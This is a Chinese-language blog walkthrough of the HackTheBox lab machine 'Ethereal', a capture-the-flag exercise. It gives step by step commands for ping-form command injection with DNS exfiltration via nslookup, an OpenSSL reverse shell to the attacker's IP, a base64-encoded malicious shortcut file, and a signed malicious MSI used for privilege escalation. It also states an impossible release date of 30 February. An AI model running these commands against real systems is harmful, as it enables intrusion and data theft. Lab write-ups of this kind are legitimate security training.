No.78-HackTheBox-windows-Ethereal-Walkthrough渗透学习

**

HackTheBox-windows-Ethereal-Walkthrough

**

靶机地址:https://www.hackthebox.eu/home/machines/profile/157
靶机难度:中上级(6.5/10)
靶机发布日期:2019年2月30日
靶机描述:
Ethereal is an “insane” difficulty machine, which showcases how DNS can be used to exfiltrate information from a system, and is applicable to many externally facing applications. It also features a very restrictive environment, which is made more hospitable by the use of the OpenSSL “LOLBIN”. It highlights how malicious shortcut files can be used to move laterally and vertically within a system or network. Finally, it shows how an attacker would be able use trusted certificates to defeat a stringent application whitelisting configuration. Finally, it showcases techniques for creating and signing Windows Installer (MSI) files.

作者:大余
时间:2020-03-25
请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
可以看到靶机的IP是10.10.10.106…

Nmap可以看到FTP可匿名登陆,80和8080的IIS服务器都开放着…端口80显示了下面的登录页面以及目录…
先查看Ftp…一步一步来…
在这里插入图片描述
可以看到有很多信息…全部下载到kali查看…
在这里插入图片描述
命令:wget -r --no-passive ftp://10.10.10.106
全部下载完…
在这里插入图片描述
解压FDISK.zip和DISK1.zip文件…发现都是FAT系统磁盘文件…这里可以进行挂载查看下…
在这里插入图片描述
可以看到,成功挂载后,查看了三个系统内容,fdisk里面的信息可能有用…
在这里插入图片描述
可以看到这需要MS-DOS打开它…
在这里插入图片描述
https://sourceforge.net/projects/passwbox/postdownload下载即可…
在这里插入图片描述
apt install libncurses5
apt install libncurses5:i386
在这里插入图片描述
成功安装…可以看到只需要把文件复制到/root/.pbox.dat打开即可…
在这里插入图片描述
输入密码:password,很简单的默认密码…
在这里插入图片描述
成功进来后…
在这里插入图片描述
在这里插入图片描述
可以看到,进来后找到很多密码…记录下来…继续走下一步,80和8080页面…
在这里插入图片描述
在这里插入图片描述
到这个界面后,一个一个点下去…
在这里插入图片描述
这里发现了用户名:alan
发现ping页面需要添加域名操作…
在这里插入图片描述
添加完后访问需要登陆用户密码…密码前面已经pbox查看到了…
在这里插入图片描述
这里密码是:!C414m17y57r1k3s4g41n!
成功登陆…这里可以注入攻击…先用ping测试下…
在这里插入图片描述
输入本地IP进行ping测试即可…发现icmp回包了…可以注入
这里尝试绕过该命令并使用&或注入系统命令|…但是没效果…
直接在里面利用certutil下载nc提权也没用…
这里利用responder进行 :当网络上的设备尝试用LLMNR和NBT-NS请求来解析目的地机器时,Responder就会伪装成目的地机器。当受害者机器尝试登陆攻击者机器,responder就可以获取受害者机器用户的NTLMv2哈希值…走起
在这里插入图片描述
命令:responder -I tun0
在这里插入图片描述
命令:10.10.14.11 & for /F "tokens=1" %i in ('whoami') do nslookup %i 10.10.14.11
终于成功了…看到了etherealalan…
https://ss64.com/nt/for_f.html这是一个库,可以参考里面的命令进行查询注入即可…
在这里插入图片描述
可以看到目前的目录是c:\windows\system32\inetsrv…
在这里插入图片描述
命令:10.10.14.11 & for /F "tokens=1,2,3" %a in ('dir /B "C:\Users"') do nslookup %a.%b%c 10.10.14.11
可以看到这里有五个用户存在…继续收集信息…
在这里插入图片描述
注意到已经安装了OpenSSL…这里检查下防火墙状态,因为前面试过提权上传不上去…估计是杀死了
命令:| netsh advfirewall firewall show rule name=all | findstr "Rule Name:" | findstr "Allow" > C:\Users\Public\Desktop\Shortcuts\dayufirewall.txt
这里把防火墙规则的信息放入了dayufirewall.txt…这里查看是否存在该文件…
在这里插入图片描述
命令:10.10.14.11 & for /F "tokens=1,2,3" %a in ('dir /B "C:\Users\Public\Desktop\Shortcuts"') do nslookup %a.%b.%c 10.10.14.11
这里在目录下看到已经存在了…这里需要看看防火墙规则是怎么样了…好找到一个可以突破点…读取该文件…
在这里插入图片描述
命令:10.10.14.11 & for /F "tokens=1,2,3,4,5,6,7" %a in ('type C:\Users\Public\Desktop\Shortcuts\dayufirewall.txt') do nslookup %a.%b.%c.%d.%e.%f.%g 10.10.14.11
可以看到仅允许TCP连接到port 73和136上…因为windows上安装了openssl,这里就利用openssl进行提权…
这里利用SSL/TLS server
这里先确定下openssl.exe的位置…
在这里插入图片描述
命令:10.10.14.11 & for /F "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)\OpenSSL-v1.1.0"') do nslookup %a.%b.%c 10.10.14.11
可以看到位置位于C:\Program Files (x86)\OpenSSL-v1.1.0\bin\openssl.exe…
开始…
在这里插入图片描述
命令:openssl req -x509 -newkey rsa:4096 -keyout key.pem -out certificate.pem -days 365 -nodes
为了创建服务器,这里利用openssl生成了证书…
在这里插入图片描述
命令:openssl s_server -quiet -key key.pem -cert cert.pem -port 73
命令:| C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.11:73 | cmd.exe | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.11:73
可以看到利用openssl通过73端口进入了服务器中…
在这里插入图片描述
这里遇到了点问题,无法寻找到数据包…输入任何都没反应…
我就把命令通过PING通道注入,发现需要指定IP,一进一出才能正常读取数据…
在这里插入图片描述
可以了,现在数据包正常一进一出了…
在这里插入图片描述
命令:127.0.0.1 | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.11:73 | dir C:\users\alan\Desktop | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.11:136
这里查询alan桌面存在个文件…查询看看
在这里插入图片描述
命令:type C:\users\alan\Desktop\note-draft.txt
说Public的桌面上有很多东西,盒子上的其他用户正在使用它,可以删除和写入…去看看
在这里插入图片描述
命令:dir C:\users\Public\Desktop\Shortcuts
可以看到存在.lnk文件…这里可以写入木马…提权试试
在这里插入图片描述
这里利用LNKUp
在这里插入图片描述
记得pip install -r requirements.txt…下载他的依赖文件…
在这里插入图片描述
命令:python generate.py --host localhost --type ntlm --output out.lnk --execute "shutdown /s"
我这里还是使用了python,因为python3的pylnk.py依赖报错…
在这里插入图片描述
这里还是担心防火墙,就通过更保险方式base64值写入进去…
命令:127.0.0.1 | echo | set /p="TAAAAAEUAgAAAAAAwAAAAAAAAEZhAAAAAAAAAIBMhoStAtYBgEyGhK0C1gGATIaErQLWAQAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAOcAFAAfUOBP0CDqOmkQotgIACswMJ0ZAC9DOlwAAAAAAAAAAAAAAAAAAAAAAAAAPAAxAAAAAAB5UHVPEABXaW5kb3dzACYAAwAEAO++eVB1T3lQdU8UAAAAVwBpAG4AZABvAHcAcwAAABYAQAAxAAAAAAB5UHVPEABTeXN0ZW0zMgAAKAADAAQA7755UHVPeVB1TxQAAABTAHkAcwB0AGUAbQAzADIAAAAYADwAMgAAKgQAeVB1TxAAY21kLmV4ZQAmAAMABADvvnlQdU95UHVPFAAAAGMAbQBkAC4AZQB4AGUAAAAWAAAAtQAvYyBDOlxQcm9ncmF+MlxPcGVuU1NMLXYxLjEuMFxiaW5cb3BlbnNzbC5leGUgc19jbGllbnQgLXF1aWV0IC1jb25uZWN0IDEwLjEwLjE0LjExOjczIHwgY21kLmV4ZSB8IEM6XFByb2dyYX4yXE9wZW5TU0wtdjEuMS4wXGJpblxvcGVuc3NsLmV4ZSBzX2NsaWVudCAtcXVpZXQgLWNvbm5lY3QgMTAuMTAuMTQuMTE6MTM2GgBcXGxvY2FsaG9zdFxTaGFyZVw1OTczLmljbwAAAAA=" > C:\users\Public\Desktop\Shortcuts\link.txt
在这里插入图片描述
可以看到,已经成功写入…在这里插入图片描述
命令:127.0.0.1 & C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe base64 -A -d -in "C:\users\Public\Desktop\Shortcuts\link.txt" -out "C:\users\Public\Desktop\Shortcuts\Visual Studio 2017.lnk"
可以看到成功同步了…这就不用那么麻烦了…并且获得了user信息…
在这里插入图片描述
在这里插入图片描述
命令:fsutil fsinfo drives
这里还存在D盘,…进入D盘,查看到存在note.txt文件,看信息:
意思是创建一个恶意的msi文件并将它放进来进行提权,还需要获取证书以对msi进行签名…这里要查找签名证书…
在这里插入图片描述
在certs下查看到签名证书…需要放到本地…

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我利用base64读取出来,经过复制解码,然后转换成原先的证书…
这里要创建msi需要使用到wixtool进行构建即可…
在这里插入图片描述
https://blog.xpnsec.com/becoming-system/
利用这里的代码即可…
在这里插入图片描述
把这里代码换成简单的cmd提权即可…
在这里插入图片描述
命令:cmd.exe /c "C:\users\public\desktop\shortcuts\alha.lnk"
然后将mv dayu.txt msi.xml即可…
下载WiX Toolset v3.11.2…
在这里插入图片描述
下载第一个即可…在这里插入图片描述
将dayuxi修改为msi.xm…然后打开powershell…
在这里插入图片描述
删除行即可…我这里重新在来了,目录太长,我在C盘下创建文件夹操作…
在这里插入图片描述
命令:

 .\candle.exe C:\Ethereal\msi.xml -out C:\Ethereal\wixobj
 .\light.exe C:\Ethereal\wixobj -out C:\Ethereal\alha.msi

这里使用wix3112rtm下载文件里的candle.exe对wixtools创建wixobject文件,然后将从wixobject中继续创建msi文件…
在这里插入图片描述
这里许需要下载windows 10 SDK或者windwos 10 KIts 中的工具来对靶机的msi进行签名,首先将使用makecert.exe从中获得的原始证书创建新证书即可…下载地址:https://developer.microsoft.com/en-US/windows/downloads/windows-10-sdk/
在这里插入图片描述
在这里插入图片描述
命令:.\makecert.exe -n "CN=Ethereal" -pe -cy end -ic C:\Ethereal\MyCA.cer -iv C:\Ethereal\MyCA.pvk -sky signature -sv C:\Ethereal\alha.pvk C:\Ethereal\alha.cer
这里要求输入密码,我将其保留为空白,不提供密码保护,后面签名就能无密码登陆…
在这里插入图片描述
命令:

.\pvk2pfx.exe -pvk C:\Ethereal\alha.pvk -spc C:\Ethereal\alha.cer -pfx C:\Ethereal\alha.pfx
.\signtool.exe sign /f C:\Ethereal\alha.pfx C:\Ethereal\alha.msi

用pvk2pfx.exe为ce​​r和pvk文件创建pfx…
最后将使用signtool.exepfx对msi进行签名即可…
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
命令:127.0.0.1 | "C:\Program Files (x86)\OpenSSL-v1.1.0\bin\openssl.exe" s_client -quiet -connect 10.10.14.2:136 > "C:\Users\Public\Desktop\Shortcuts\alha.msi"
将与之前上传lnk文件相同的方式上传msi即可,并且还需要确保lnk文件在c:\users\public\desktop\shortcuts\内,因为msi只是在执行该lnk文件…最后将把msi放入到D:\DEV\MSIs内即可…

在这里插入图片描述
命令:127.0.0.1 & C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe base64 -A -d -in "C:\users\Public\Desktop\Shortcuts\link.txt" -out "C:\users\Public\Desktop\Shortcuts\Visual Studio 2017.lnk"
重新在获得一次即可…这里等待了6分钟左右才出现的…
在这里插入图片描述
可以看到成功获得root信息…太难了!!!!
这是我做的最难的一次了…

正如作者说的一样,这是一台疯狂的靶机…
它展示了如何使用DNS来从系统中窃取信息,并且适用于许多面向外部的应用程序,它还具有非常严格的环境,通过使用OpenSSL LOLBIN使它变得更加难…它重点介绍了如何使用恶意快捷方式文件在系统或网络中横向和纵向移动,而且它显示了攻击者如何能够使用受信任的证书来破坏严格的应用程序白名单配置…最后它展示了用于创建和签名Windows Installer(MSI)文件的技术…

这台靶机是我新工作出差第一次过夜,在机房里完成的…坚持加油把!!!

由于我们已经成功得到root权限查看user.txt和root.txt,因此完成这台疯狂的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值